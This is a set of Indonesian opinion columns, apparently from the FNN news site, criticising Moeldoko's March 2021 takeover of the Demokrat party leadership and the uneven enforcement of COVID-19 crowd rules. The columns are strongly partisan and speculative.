by Dr. Margarito Kamis SH. M.Hum Ternate FNN - Gini lho. Saya ini bisa naik bintang satu, bintang dua. Taruhlah itu hal biasa. Tetapi kalau saya naik bintang tiga, itu presiden pasti tahu. Kemudian ketika jabatan Penglima Komando Strategi Angkatan Darat (Pangkostrad), pasti presiden tahu. Apalagi presidennya waktu itu tentara, Pak SBY. Tidak sembarangan. Bahkan, saya dipanggil, dan bilang “kamu akan saya jadikan KSAD”. Laksanakan tugas dengan profesional. Beliau berpesan, “laksanakan tugas dengan profesional, cintai prajuritmu dan keluarga dengan segenap hati dan pikiranmu”. Apakah iya, saya dibesarkan oleh dua presiden. Satu Pak Susilo Bambang Yudhoyono, satu lagi Pak Jokowi. “Terus saya membalasnya dengan mencongkel anaknya”? kata Gatot (Lihat Eramuslim, 9/3/2021). Alhamdulillah wasyukrillah. Hemat saya, menjadi dua kata tepat untuk diucapkan menyambut sikap timbangan etika Pak Jendral TNI (Purn.) Gatot Nurmantiyo itu. Tepat, karena sikap itu terlampau langka di tengah kehidupan politik hari-hari ini. Sikap itu, untuk alasan apapun, harus dianggap “mutiara yang jatuh di tengah lumpur. Diangkat lagi dari lumpur, tetap saja terlihat mutiara”. Tak Mudah Menjaga Etika Saya tidak tahu berapa lama setiap habis Sholat Subuh, Jendral TNI (Purn.) Gatot Nurmantyo habiskan waktu hanya untuk lantunkan, tentu tanpa kata-kata lafadz “qul huwallahu ahad”. Saya juga tidak tahu berapa lama waktu yang dihabiskan Pak Gatot sehabis Sholat Magrib hanya untuk lantunkan “Ya Azizu” dan “Ya Haiyu ya Qaiyum”. Sekali lagi, saya tak tahu itu. Penjara dunia dalam “genggam kekuasaan” dengan cara kotor dan jijik rebut-merebut di lintasan yang kotor. Begitu kata para bijak, selalu indah seindah-indahnya untuk orang-orang berpakasitas rendah. Rendah dalam cita rasa etik, ahlak, harkat dan martabat. Tidak untuk orang-orang yang memiliki pengetahuan tentang bahaya tersembunyi dibalik indahnya dunia itu. Pengetahuan itu memang bukan pengetahuan puncak, tetapi tidak mungkin tak berada di sudut kehidupan yang tinggi. Tak mungkin tidak memerlukan usaha mendaki, sekedar untuk meraihnya dengan serba sedikit. Bukan kelelahan, tetapi nikmatnya, boleh jadi membuat pendaki tertawan merebahkan tubuh kasar dan halusnya setotal yang bisa. Apakah sikap Pak Gatot itu menandai dirinya sedang dipuncak itu? Aapakah sedang merebahkan tubuh kasar dan halusnya dalam nikmat itu? Jelas saya tak tahu. Pembaca FNN yang budiman. Sungguh tak mudah sikap yang diambil Pak Gatot. Tidak mudah untuk meremehkan hal-hal yang, oleh banyak orang-orang berkapasitas moral dan etik rendah, mati-matian memburunya. Sikap Pak Gatot itu, bukan hanya khas orang pintar. Tetapi juga khas orang-orang yang kepintarannya terbalut kalam pencipta alam semesta ini. Sekongkol menyakiti orang yang merendahkan mereka. Itu pekerjaan orang-orang yang kecil kapasitas moral dan etikanya. Pak Gatot, bagusnya tertuntun. Saya yakin, nikmat-nikmat kalam-Nya Pencipta alam semesta telah menarik jarak sejauh yang bisa dari tipuan dunia untuk memperoleh kekuasaan kecil nan rapuh itu. Subhanallah, Alhamdulillah. Budi luhur, itu hanya milik orang-orang yang berbudi. Titik, tidak lebih. Budi tidak mendekat, apalagi menjadi milik orang yang tak mengunakan sepertiga malamnya bercengkrama dengan kalam Allah Subhaanahu Wata’ala. Budi bukan punya mereka yang terlalu enggan mengasah nafasnya dengan kalam Allah Subhaanahu Wata’ala, suka atau tidak. Sikap dan tindak-tanduk itu cermin diri orang. Tampilan politik adalah cermin diri dan jiwa politisi. Semakin dalam politisi tenggelam dalam politik, semakin jelaslah politik praktis memburuk dalam semua seginya. Semakin suka politisi pada politik, semakin tebal sekat mereka dengan moral yang agung. Politik jenis itu akan buruk seburuk-buruknya di setiap detik hidup berbangsa dan bernegara. Sakitnya atau sialnya, politisi jenis ini tidak lagi memiliki kemampuan mengenalnya sebagai hal busuk. Semuanya ditimbang dengan moral politik ular. Bahkan binatang yang bernama ular, boleh jadi masih lebih baik. Itulah yang tak mampu untuk diti oleh Pak Gatot. Beralsan menajdikannya sebagian dari alasan apresiasi kepada Pak Jendral (Purn) Gatot Nurmantyo atas sikapnya menolak ajakan, yang saya sebut “iblis” untuk mencongkel Agus Harimurti Yudhoyono (AHY) dari posisi Ketua Umum Partai Demokrat. Terima kasih Pak Gatot. Sikapmu bagai segelas air di tengah padang tandus, untuk seorang pengembara yang tertawan kehausan. Saya tak bilang ini satu teladan kecil di tengah mengeringnya teladan dalam kehidupan politik berbangsa dan bernegara saat ini. Tetapi untuk beberapa hal, saya ingin melihat ini sebagai cahaya rembulan di tengah kegelapan gulita malam. Memberi arah ke mana harus melangkah agar tak terjatuh di lubang kecil yang mematahkan jemari. Itulah faedah kecil dari tampilan etika Pak Gatot. Tak menjadi apa-apa, justru telah menjadi apa-apa itu sendiri. Itu yang mesti dimengerti orang. Orang itu dikenang bukan karena posisi posisi politiknya, tetapi karena sikap politiknya. Sikap politik tidak selalu harus bertimbal-balik dengan jabatan formil dalam politik. Wahai politisi, sukailah hal-hal bagus. Ingatlah sebisa mungkin. Alam tak diciptakan secara serampangan. Alam dibuat indah, karena keindahan itu cermin hakikat. Cintailah keindahan, karena keindahan itu sahabatnya keihlasan. Dan keihlasan menjadi jalan terdekat menghindar dari kegundahan. Bawalah sejauh mungkin sikap-sikap politik dari cinta mati kepada kekuasaan. Selalulah berada jauh dari tabiat membebek, menghamba, dan menjadi budak kekuasaan. Tak usah mendekat pada kemunafikan. Tetapi teruslah untuk membimbing tingkah laku politik dengan timbangan-timbangan yang disabdakan oleh Pencipta alam semesta. Hebat Pak Syaf & Leimena Kejarlah daku, kau kudekap dengan seluruh pesonaku yang menipu. Begitulah tabit kekuasaan, yang dalam wajah empirisnya selalu menipu. Kenalilah itu, karena dia menuntunmu kesemua keindahan sepanjang masa. Itulah yang ditunjukan Pak Sjafrudin Prawiranegara. Itu pulalah yang disajikan oleh Pak Johanes Leimena, nyong Ambon manise ini. Boleh saja ilmuan hukum tata negara datang dengan argumentasi hukum melemahkan kehebatan Pak Sjaf yang, dengan sukarela mengembalikan kekuasaan kepresidenan kepada Bung Karno. Toh Pak Sjaf memperoleh kekuasaan itu atas kuasa Bung Karno. Tetapi tidak untuk Pak Sjaf, yang Pak J. Riberu sematkan padanya sebagai manusia “etis” ini. Manusia etis, tahu kebesaran etika. Itulah Pak Sjaf. Kekuasaan yang ada padanya diperoleh melalui kuasa lisan Bung Karno,Presiden tampan dan energik ini. Pak Syaf segera serahkan kembali kekuasaan kepada Bung Karno setibanya di Yogya. Tak ada semenitpun Pak Sjaf mencari alasan politik untuk mempertahankan kekuasaan itu. Subhanallaah, Pak Syaf, semoga Allaah Subhaanahu Wata’ala menempatkanmu di syurga-Nya. Boleh saja orang tata negara menyatakan sikap itu harus diambil Pak Sjaf, oleh karena kekuasaan itu ada padanya atas kuasa Bung karno. Tetapi sejujurnya saya suka dengan penegasan Pak J. Riberu. Manusia “etis” itulah sebutan Pak Riberu untuk Pak Sjaf. Dalam esainya tentang Pak Sjaf, Pak Riberu mengutip “hebat sekali” salah satu ayat Al-qur’an. Ayat Al-Qur’an yang dikutip dalam esai Pak Riberu adalah ayat 104 Surat Al-Imran. Hendaknya diantara kamu ada satu golongan yuan mengajak berbuat benar, serta mencegah berbuat salah”. Tulis Pak Riberu selanjutnya “ia merasa berkewajiban mengajak orang lain berbuat benar, dan mencegah berbuat salah”. Hormat saya yang tak terbatas untuk Pak Riberu. Argumentasi hukum dan gurihnya kekuasaan, cukup jelas tak mampu menipu Pak Sjaf. Benteng etiknya terlalu tangguh dan tebal untuk dapat dijebol oleh gurihnya kekuasaan. Hormat untuk Pak Sjaf atas pelajaran etika ini. Semoga almarhum bahagia di alam sana dengan Rahim Allah Subhanahu Wata’ala. Terima kasih Pak Sjaf untuk teladan yang telah diwariskan. Apalagi hari-hari ini terlihat terlalu berat untuk dicontohi politisi-politisi kacangan dan picisan yang terkenal jorok, licik dan primitif di panggung kekuasaan. Tak berusaha memperpanjang, apalagi berusaha mempertaankan kekuasaannya. Pak Syaf terlalu top untuk ukuran demokrasi dimanapun. Terbimbing dengan balutan etika, kekuasaan ditangannya diserahkan kepada Bung karno, ayahanda tercinta Ibu Mega dan Ibu Rahma, untuk menyebut dua saja di antara beberapa anak-anaknya. Apakah teladan yang diwariskan oleh Pak Syaf ini bisa diikuti oleh Pak Jokowi? Entahlah. Mungkin Pak SBY harus lebih kencang lagi menyerukan Pak Jokowi menggunakan etika dalam merespon kemelut kecil Partai Demokrat. Untuk alasan apapun, Pak Jokowi memang harus menyegarkan akal, fikiran dan rasa etiknya bahwa Pak Moeldoko itu berkantor di lingkungan kantor kepresidenan, sekaligus anak buah Presiden Jokowi. Derajat dengan etika, yang kearifan berinduk padanya, yang mengalir deras dari Pak Sjaf, jelas merupakan nutrisi tak tertandingi dalam membuat demokrasi memiliki makna untuk diagungkan. Itu juga yang ditunjukan Om Jo, begitu orang-orang Maluku memanggil Pak Johanes Leimena, untuk teladannya yang hebat pada sisi waktu yang berbeda. Johanes Leimone memegang kekuasaan pemerintahan setiap kali Bung Karno keluar negeri, dan segera mengembalikannya kepada Bung Karno setibanya di tanah air, itulah etika moral yang tinggi dari Om Jo. Hebat sekali Om Jo. Terbimbing begitu kuat oleh rasa etik, dan budi nan mulia. Begitu beretika politik Om Jo. Itu nutrisi sebenarnya yang menyehatkan demokrasi. Demokrasi, yang Aristoteles kenali sebagai barang busuk. Tetapi telah dikenali keunggulannya oleh kapitalis tua dan oligarki kecil maupun besar, juga korporasi. Sehingga membentuk korporatokrasi ini, selalu bisa dan produktif menciptakan etika khasnya. Etika khasnya selalu bisa membuat demokrasi menerima aksi tipu-tipu, menindas orang lemah, kecil dan miskin sebagai kegagalan kecil saja. Alhamdulillah di tengah kelangkaan, kekeringan dan kegersangan manusia yang mau belajar etika politik, Jendral TNI (Purn.) Gatot Nurmatiyo hadir untuk membimbing, memandu, menghidupkan dan mengukir tingkah laku demokrasi yang berkalas dan mengagumkan. Terima kasih Pak Gatot, anda telahhadirkan pelajaran kecil yang terlalu mahal untuk politisi kebanyakan ini. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Demokrat, Ken Dedes, Ken Arok, dan Moeldoko, Ada Hubungan Apa?

by Mochamad Toha Surabaya, FNN - Jika mereferensi pada kisruh Partai Demokrat, terlihat ada persiapan 2024. Partai Demokrat “diobrak-abrik” untuk menutup peluang Agus Harimurty Yudhoyono (AHY). Prediksi saya yang berikutnya dijadikan target adalah Partai NasDem. Tujuannya agar Anies Baswedan tidak bisa diusung NasDem. Di sinilah saya acungi jempol permainan Ketum Partai Gerindra Prabowo Subianto yang sering dijuluki dengan sebutan 08. Dia mengubah Gerindra dari partai Kombatan menjadi partai Intelijen. Dan, mantan Menteri Kelautan dan Perikanan Edy Prabowo yang terkena kasus korupsi KKP yang dikorbankan. Sebab, loyalitas EP terhadap 08 bisa merusak skenario Gerindra itu sendiri dan menjadi penghalang perubahan strategi dari kombatan ke intelijen. Sekarang tinggal bagaimana kita tunggu permainan strategi 08 dalam menaklukkan Susilo Bambang Yudhoyono (SBY) dan memainkan kartu Anies-AHY. Jika “perkawinan” itu terjadi, peluang mantan Panglima TNI yang kini merangkap Presidium KAMI Gatot Nurmantyo juga tertutup total. Tinggal head to head SBY-08 dan kru Pak Lurah Cs. Mau tidak mau GN akan merapat ke poros SBY-08. Di sinilah kekalahan 08 pada Pilpres 2019 lalu dan sebelumnya (2014) bisa terbayarkan. Bisa saja nanti pada Pilpres 2024 SBY-08 berkoalisi untuk usung Anies-AHY menghadapi koalisi Pak Lurah Cs. . Atau bisa juga menyiapkan orang lain. Bisa saja 08-Anies. AHY “dititipkan” dulu jadi Ketua DPR dan Sandiaga Salahuddin Uno (SSU) menjadi Ketua MPR. Yang jelas, sepertinya Jusuf Kalla juga akan ikut SBY-08. Sebabnya, JK sekarang ini sudah tidak “berkuasa” lagi atas Kapolri sekarang, Jenderal Lestyo Sigit Prabowo. Sebelumnya, JK masih bisa berkuasa atas Kapolri Jenderal Idham Azis. Manuver Kepala Staf Presiden (KSP) Moeldoko yang “membegal” kepemimpinan AHY di Demokrat mirip kisah Ken Angrok (Arok) yang membunuh Raja Tumapel Tunggul Ametung untuk “merampas” Ken Dedes dan menjadi Raja Singosari. Mungkin sosok proto-preman paling terkenal dalam sejarah kerajaan kuna di Jawa adalah Ken Arok. Muasalnya adalah kekerasan, menurut sejarawan Onghokham, merupakan salah satu soko tegaknya kerajaan-kerajaan kuna, selain bersandar pada konsep dewa-raja. Filolog dan arkeolog Johannes Gijsbertus de Casparis menyebut di daerah yang terpengaruh Indianisasi, sejak awal abad masehi ada fenomena seorang gembong bandit yang jadi raja. Banyak raja pertama Jawa berasal dari kalangan jago. Misalnya, Ken Arok dan Senapati. Karena diperlukan unsur paksaan dari atas pada masyarakat, penggunaan para jago berjalan terus. “Mereka merupakan unsur penting dalam sistem pemerintahan tradisional,” tulis Onghokham dalam Wahyu yang Hilang Negeri yang Guncang (2003, hlm. 180). Jerome Tadie dan sejarawan Denys Lombard juga menempatkan Ken Arok secara khusus. Kisahnya tersaji cukup detail dalam kitab klasik Pararaton. Ditulis sekira abad ke-16, bab pertama kitab tersebut berkisah tentang masa muda Ken Arok yang bergelar Sri Ranggah Rajasa Sang Amurwa Bhumi, pendiri Kerajaan Singasari. Terlepas dari mitos-mitos yang melingkupinya, Keng Arok adalah arketipe bagi generasi bandit setelahnya. Ken Arok dikisahkan berayah Dewa Brahma dan beribu seorang petani biasa. Ken Arok lahir dilingkupi cahaya yang membuat ibunya takut dan meninggalkannya. Bayi Ken Arok kemudian ditemukan dan diasuh oleh seorang pencuri bernama Lembong. Tentu saja Lembong mengajarinya keahlian mencuri. Tapi, di samping itu, Ken Arok juga jadi penggembala sapi. Hingga suatu hari, ia kehilangan sapi-sapi gembalaannya. Karena takut pada murka Lembong, Ken Arok lantas kabur. Sejak itulah Ken Arok terjerumus lebih jauh ke dalam dunia kriminal. Bersama ayah angkat barunya bernama Bango Samparan, ia jadi penjudi. Ia juga menjalin persahabatan dengan pemuda bernama Tita dan memulai kiprahnya sebagai bandit desa. Gara-gara ulahnya, sering kali Ken Arok jadi buronan Tunggul Ametung, penguasa Tumapel. Sewaktu jadi buron, Ken Arok dengan mudah bersembunyi di kampung-kampung petani. Ken Arok menyaru dengan cara mengabdi pada seorang pengrajin emas bernama Mpu Palot. Ia bukannya tak pernah diceritakan tertangkap. Tapi, Ken Arok selalu dilepaskan ketika para penangkapnya mendapat suatu bisikan gaib. Pararaton memperlihatkan meski kekuatan mistik itu jadi bagian dari diri Ken Arok muda, ia tidak sepenuhnya menguasainya. Karena itu Ken Arok ditakdirkan untuk bertemu dengan brahmana Lohgawe yang kemudian jadi pembimbingnya. Melalui Lohgawe pula, Ken Arok mendapat akses ke kaum penguasa Tumapel. Berkat posisi Lohgawe itulah, Ken Arok akhirnya dikenal oleh Tunggul Ametung dan istrinya Ken Dedes. Ia juga berkawan dengan Kebo Ijo, seorang bangsawan Tumapel. Relasi-relasi inilah yang kemudian dimanfaatkannya untuk panjat sosial dan bahkan merebut kekuasaan Tumapel. Ambisi Ken Arok nyatanya tak hanya menguasai Tumapel. Tidak berapa lama, setelah itu Kerajaan Kediri yang dipimpin Raja Kertajaya limbung. Raja tersebut berseteru dengan para brahmana yang menolak tunduk. Memanfaatkan situasi itu, Ken Arok menyerang Kediri. Kali ini ia tampil sebagai pembela hak kaum brahmana. Ia menang. Pada 1222, Kerajaan Singhasari memulai sejarahnya. Membaca kisah Ken Arok, sebagai asal-usul mitos seorang perampok yang menjadi raja, mengandung unsur lain yang membentuk jatidiri sebagai preman masa kini, yang menjadi bagian atribut dan aspirasinya. “Kemungkinan untuk memperoleh masa pensiun bermartabat dan mencapai kekuasaan,” tulis Jerome Tadie (hlm. 228). Akhir cerita ini jelas menunjukkan bahwa relasi-relasi antara preman dan elite politik adalah fenomena kuno. Pola-pola itu terus berlangsung hingga kini, meski dengan konteksnya yang berbeda-beda seiring perubahan zaman. Jadi, sebenarnya bukan hanya penguasa yang memanfaatkan para bandit untuk menegakkan kekuasaannya. Sebaliknya, bandit-bandit pun memanfaatkan relasi itu untuk tujuan-tujuan politik atau ekonominya sendiri. Kembali ke soal KLB Partai Demokrat versi Moeldoko. Demokrat itu ibarat Ken Dedes, Ratu yang cantik, sehingga mendorong Ken Arok tertarik untuk “membajak” dari tangan Raja Tunggul Ametung, ia pun harus membunuh Raja Tumapel ini. Dengan jabatan KSP, Moeldoko memanfaatkan “bandit” sekelas Muhammad Nazaruddin, untuk mendanai KLB di Sibolangit, Deli Serdang, Sumatera Utara, Jumat, 5 Maret 2021. Hasilnya, Moeldoko ditetapkan sebagai Ketua Umum. Saat ini semua mata terfokus pada Presiden Joko Widodo. Kebijakan politik apa yang akan dilakukan terhadap “Pembuat Gaduh” NKRI dan Perusak Citra PresidenRI dalam penegakan Demokrasi, Hukum, dan Pemerintahan Bersih anti-Korupsi Selama ini banyak yang salah persepsi jika BuzzerRp itu piaraan Pak Lurah. Yang benar itu, mereka piaraan “Kakak Pembina”, yang dibiayai dari hasil menipu Pak Lurah. Saat ini rakyat Indonesia terbuka matanya. Penghianat Presiden Jokowi dan pembuat gaduh NKRI, ternyata bukan Opung Luhut Binsar Pandjaitan, melainkan mantan penerima tamu pernikahan Kahyang dan Bobby Nasution di Medan itu. Ksatria itu tak akan lupa Hutang Budi. Sosok tak tahu hutang budi itu adalah sosok yang tak pantas menjadi Pemimpin, apalagi level Nasional. Dia pasti tega menjual Negara demi kepentingan pribadi dan kelompoknya. Alumni Lembah Tidar kini jelas sangat Prihatin dan Malu Diri. Karena, Kawah Candradimuka itu ternyata bisa juga melahirkan sosok yang mampu khianati senior penolongnya. Saat ini SBY baru tahu dan sadar, jika Moeldoko tidak layak jadi KSAD itu benar. Spekulasi SBY atas data saat itu, kini Terbukti. Moeldoko tega rampas Demokrat demi ambisi berkuasa! Jokowi, Menkumham, dan Menko Polhukam harus membuktikan jika mereka itu tidak di belakang perampasan Demokrat oleh Moeldoko! KLB partai akan Sah, jika yang hadir pemilik suara sah. Saat KLB digelar dengan peserta bukan pemilik suara sah, maka itu pelanggaran hukum! Penyelenggara bisa diseret dengan KUHP Pasal Penipuan dan Pemalsuan. Penulis adalah Wartawan Senior FNN.co.id.

Soal Harga Diri, SBY Tidak Akan Biarkan Moeldoko

by Asyari Usman Medan, FNN - Hari-hari ke depan ini, Kepala Staf Presiden (KSP) Moeldoko tak akan bisa tidur nyenyak. Bayang-bayang kudeta mulus Partai Demokrat (PD) mulai mengejar Kepala Staf. Dia seharusnya sudah menyadari kalkulasi kudeta yang keliru. Ketua Dewan Pembina PD, Susilo Bambang Yudhoyono (SBY), tidak akan membiarkan Moeldoko. Sebab, perampasan PD itu mengacak-acak harga diri mantan presiden yang keenam itu. Moeldoko mempermalukan SBY dan keluarga besar Cikeas. Ini tidak main-main, tentunya. Pelecehan telak. Setelah “deklarasi perang” yang diucapkan sendiri oleh SBY, penyelesaian kasus kudeta PD tidak menyisakan banyak pilihan bagi Moeldoko. Akhir drama pembegalan ini bisa sangat tragis bagi “the President’s Chief of Staff”. Sebab, per hari ini, SBY di atas angin. Moeldoko mati langkah. Dia terjepit. Jokowi tidak akan berani mensahkan Moeldoko sebagai ketua umum. Risikonya terlalu besar. Massa Demokrat asli kelihatannya siap melancarkan aksi ribut berpanjang-panjang di seluruh basis konstituen mereka. Kemarin, Ketua Umum Agus Harimurti Yudhoyono (AHY) mengumpulkan 33 ketua DPD. Mereka solid. Hanya 1 ketua DPD yang ikut kudeta. SBY bukan imbang Moeldoko. Pastilah. Bagaimanapun, SBY pernah menjadi presiden sekaligus atasan langsung Pak Moel. Sepuluh tahun SBY duduk sebagai presiden. Elektabilitasnya waktu itu sangat tinggi. Sampai sekarang pun, SBY masih memiliki basis dukungan akar rumput yang cukup kuat. Karena itu, serangan balik terhadap gerombolan kudeta PD yang dipimpin Moeldoko, tak bisa dianggap enteng. Pak KSP tentu sudah paham konsekuensi yang akan terjadi. Inilah yang membuat Moeldoko tak bisa tidur. SBY pasti akan memberi pelajaran. Teach him a lesson. Istana membantah keterlibatan. Kalau Jokowi akhirnya lepas tangan, berarti Moeldoko selesai. Dan jalan inilah yang paling aman bagi Pak Jokowi yang sedang dirundung banyak masalah besar. Terlalu mahal waktu, tenaga, dan pikiran yang harus dikerahkan Jokowi untuk menyelamatkan Moeldoko. Jokowi hampir pasti akan menerima masukan dari para senior Istana bahwa kehilangan Moeldoko jauh lebih kecil dibandingkan “perang” SBY. Masyarakat memberikan empati kepada mantan presiden itu meskipun banyak juga yang skeptis. Dalam dua hari ini, opini publik berbalik mengempur Moeldoko. Para pakar tata negara meminta agar Jokowi memecat KSP. Tindakan Moeldoko dinilai sangat keterlaluan, tidak etis, dan memberikan contoh buruk dalam berpolitik dan berdemokrasi. Sekarang, paling-paling yang sedang diolah Istana adalah “exit strategy” untuk Moeldoko. Digeser atau dikeluarkan. Kepala Staf memang naïf sekali. Terlalu mudah dirayu oleh Jhoni Allen Marbun Cs –pimpinan KLB Sibolangit. To be fair, memang ada masalah dengan manajemen PD di bawah AHY. Entah karena apa, AHY tidak bisa “connect” dengan generasi awal PD. Mungkin karena “generation gap” (jurang generasi) itu sendiri. Atau, bisa jadi karena pembawaan AHY yang cenderung aristokratis. Tetapi, sekali lagi, kudeta oleh Moeldoko tidak punya alasan. Bahkan memperburuk citra perpolitikan Indonesia yang sudah amburadul. Negeri ini sedang dikuasai oleh oligarki taipan. Kendali kekuasaan yang ‘de facto’ ada di tangan mereka. Perbuatan gegabah Moeldoko memperkuat kepercayaan publik bahwa negara ini memang benar milik para taipan itu.[] Penulis adalah Wartawan Senior FNN.co.id.

KLB Moeldoko Mengonfirmasi Penanganan Pandemi Covid19 Hanya Guyon?

SATGAS penanganan pandemi Covid19 bisa dicap tak serius menangani wabah. Ketidakadilan penanganan pelanggaran protokol kesehatan kerap ditemukan di lapangan. Kejadian paling anyar adalah Kongres Luar Biasa Partai Demokrat di Medan Sumatera Utara. KLB abal-abal yang ujung-ujungnya melambungkan Kepala Staf Kepresidenan Moeldoko ke pucuk pimpinan partai tersebut, tak hanya menyesakkan dada SBY maupun AHY, tetapi juga merobek-robek perasaan kader partai berlambang bintang mercy. Tak hanya itu, jutaan orang yang masih menjunjung tinggi etika dan moral politik juga ikut geram. God father buzzer nasional itu distempel sebagai pelakor, perebut lahan orang. Lebih geram lagi ketika polisi tidak sudi membubarkan acara pembegalan pimpinan Partai Demokrat atas laporan anggota Komisi III DPR RI Hinca Panjaitan yang meyakini acara tersebut melanggar protokol kesehatan. Bahkan tidak ada izinnya. Hinca mengaku sudah mengecek langsung ke Kapolri bahwa penyelenggaraan KLB itu ilegal. Sebelumnya polisi juga ogah-ogahan menindaklanjuti kerumunan massa yang dilakukan selebgram Raffi Ahmad dan mantan penista al Quran Ahok usai menghadiri pesta mewah ulang tahun pengusaha dan pembalap, Ricardo Gelael pada Rabu malam, 13 Januari 2021 di Jakarta. Penyidik Polda Metro Jaya menghentikan penyelidikan kasus kerumunan itu. Polisi berkilah jumlah tamu yang hadir hanya 18 orang dengan luas ruangan yang cukup menampung 200 orang. Selain itu, para tamu yang datang telah melakukan test swab dan hasilnya negatif Covid-19. Kata polisi, para tamu yang datang hadir secara spontanitas alias tanpa undangan. Yang paling fenomenal adalah kerumunan massa yang dilakukan Presiden Jokowi saat kunjungan kerja ke Maumere, Nusa Tenggara Timur pada 23 Februari 2021 lalu. Loyalis Jokowi berkerumun tanpa saling jaga jarak, berjejer di pinggir jalan menyambut idolanya yang melintas dalam iring-iringan kendaraan. Jokowi yang saat itu hendak menuju lokasi peresmian Bendungan Napun Gete sempat keluar dari atap mobil dan melambaikan tangan ke kerumunan warga. Pemujanya histeris. Profesor Jimmly Asshidiqie, mantan ketua Mahkamah Konstitusi menyarankan agar kasus Jokowi di Maumere ini dibawa ke DPR, MK dan MPR. Jokowi sebagai Kepala Negara dan Kepala Pemerintahan telah melanggar UU Protokol Kesehatan. Seorang presiden tidak boleh dan dibiarkan melanggar UU. Negara akan rusak jika tindakan pelanggaran UU oleh presiden dibiarkan. Saking kesalnya atas leletnya pekerjaan polisi, akhirnya Koalisi Masyarakat Anti Ketidakadilan melaporkan Jokowi ke Bareskrim Polri atas dugaan pelanggaran protokol kesehatan. Namun, mereka kecewa lantaran petugas Sentra Pelayanan Kepolisian Terpadu (SPKT) Bareskrim Polri tidak mau menerbitkan surat laporan polisi terkait pengaduannya tersebut. Hampir semua kasus pelanggaran protokol kesehatan yang dilakukan rezim dan pemujanya, tak pernah diproses. Ada saja alibi untuk menolaknya. Berbeda jika yang melakukan rakyat kecil, apalagi oposisi. Di Bali, Tim gabungan Satpol PP membubarkan sebuah warung makan di Denpasar karena melanggar ketentuan PPKM (Pemberlakuan Pembatasan Kegiatan Masyarakat). Di Kendangsari, Surabaya seorang warga bernama Widodo menggelar resepsi pernikahan di halaman Masjid Baiturrozaq SIER Surabaya. Sebelum tamu undangan datang, acara dibubarkan oleh petugas karena melanggar Perwali Nomor 2 tahun 2021 yang ingin menegakkan 5 M. Di desa Ngargoyoso, Tasikmadu, Mojogedang, Karanganyar Jawa Tengah, Satpol PP membubarkan acara hajatan dan penyelenggaranya dipolisikan karena melanggar Instruksi Bupati Nomor 183/3 Tahun 2021 tentang PPKM. Apa bedanya kerumunan massa yang terjadi di Bali, Surabaya, dan Karanganyar dengan kerumunan Rafii Ahmad di Jakarta, Jokowi di Maumere, dan Moeldoko di Medan? Mengapa beda perlakuan? Mengapa kerumunan massa yang dilakukan pendukung HRS harus memakan 6 korban nyawa. Mengapa pula HRS harus dipenjara, rekening dibekukan, dan pengurusnya dikerangkeng. Padahal HRS sudah membayar denda Rp50 juta. Di mana letak keadilan bangsa ini? Seriuskah polisi menangani pendemi Covid19? Terlalu banyak kesewenang-wenangan rezim ini terhadap rakyat. Rezim selalu merasa paling benar. Berbeda dengan pemimpin negara lain yang ksatria mengakui kesalahan. Raja Yordania Abdullah II misalnya. Ia merestui pengunduran diri dua menteri yang telah melanggar aturan pengendalian Covid-19. Ini terjadi usai Perdana Menteri Yordania Bishr Al-Khasawneh meminta Menteri Dalam Negeri Samir Al-Mobaideen dan Menteri Hukum Bassam Al-Talhouni untuk mundur dari jabatan mereka. Di Argentina, skandal antrean vaksin membuat Menteri Kesehatan Gines Gonzales Garcia dipecat langsung oleh Presiden Alberto Fernandez. Skandal tersebut memicu aksi unjuk rasa ribuan warga Argentina. Di Amerika Serikat, dua menteri mundur lantaran tak bisa mencegah kericuhan pendukung Donald Trump di Capitol Hill, saat Kongres AS membahas hasil Pilpres AS yang dimenangi Joe Biden terus bergulir. Sebelumnya, sejumlah pejabat Gedung Putih juga mengundurkan diri akibat kerusuhan di Capitol Hill. Pada awal Covid19 melanda Indonesia Juru Bicara Presiden Jokowi, Fadjroel Rachman, mengingatkan masyarakat untuk melakukan social distancing. Bagi yang masih nekat berkerumun bisa dikenakan hukuman penjara hingga 7 tahun. Beberapa pasal bisa diterapkan sebagai bentuk pendisiplinan masyarakat terhadap social distancing ini. Fadjroel kemudian menutip Pasal 212 KUHP yang berisi imbauan untuk tidak berkumpul dan jika dibubarkan melakukan perlawanan. "Barang siapa dengan kekerasan atau ancaman kekerasan melawan seorang pejabat yang sedang menjalankan tugas yang sah, atau orang yang menuntut kewajiban undang-undang atau atas permintaan pejabat memberi pertolongan kepadanya, diancam karena melawan pejabat, dengan pidana penjara paling lama satu tahun," demikian bunyi Pasal 212 KUHP yang diunggah Fadjroel di akun Instagram miliknya, 29 Maret 2020. Dalam beberapa hari ini masyarakat disibukkan dengan perebutan partai secara konyol dan brutal, sedangkan mereka sibuk menutupi kekurangannya dengan menciptakan kegaduhan demi kegaduhan. Kerumunan KLB Moeldoko tidak dibubarkan polisi. Kerumunan Jokowi juga tidak diproses. Kerumunan Raffi Ahmad juga dibenarkan oleh penguasa bahwa Rafii hanya diundang, bukan penyelenggara. Banyak alasan untuk selalu membenarkan perilaku penguasa dan penjilatnya. Kerumunan-kerumunan yang dilakukan penguasa dan penjilatnya – yang tidak diproses hukum - semakin menunjukkan bahwa wabah Covid19 seperti tidak mengerikan. Oleh karena itu pencegahan penangannya pun santai, guyon (bercanda), dan sesuai cara penguasa. Guyon yang paling menggelikan adalah anggaran penanganan Covid19 yang dikorupsi Menteri Sosial Juliari Peter Batubara. Publik geram, ada pejabat negara yang tega menggasak anggaran penanganan wabah. Publik makin terpingkal-pingkal ketika proses hukum terhadap sang koruptor penuh dengan intrik dengan mengabaikan peran sang Madame. Pasal sedang dipilih-pilih, tuduhan sedang direkayasa, dan kelak vonis pun sesuai selera. Tak heran jika kemudian banyak masyarakat yang seenaknya melanggar protokoler kesehatan. Tak kaget pula jika banyak masyarakat yang menolak vaksinasi. Jadi sesungguhnya penanganan Covid19 ini serius atau guyon sih? Kalau serius berlakukan secara adil dan beradab. Sedangkan kalau guyon katakan sejujurnya, guyon ya guyon biar masyarakat bisa ketawa bersama-sama. Janganlah ketawa pun dimonopoli satu pihak, biar seragam dan satu komando. Rakyat juga pingin ketawa biar imun meningkat. Tidak elok main monopoli. (sws)

KLB Demokrat Dan Derita Demokrasi

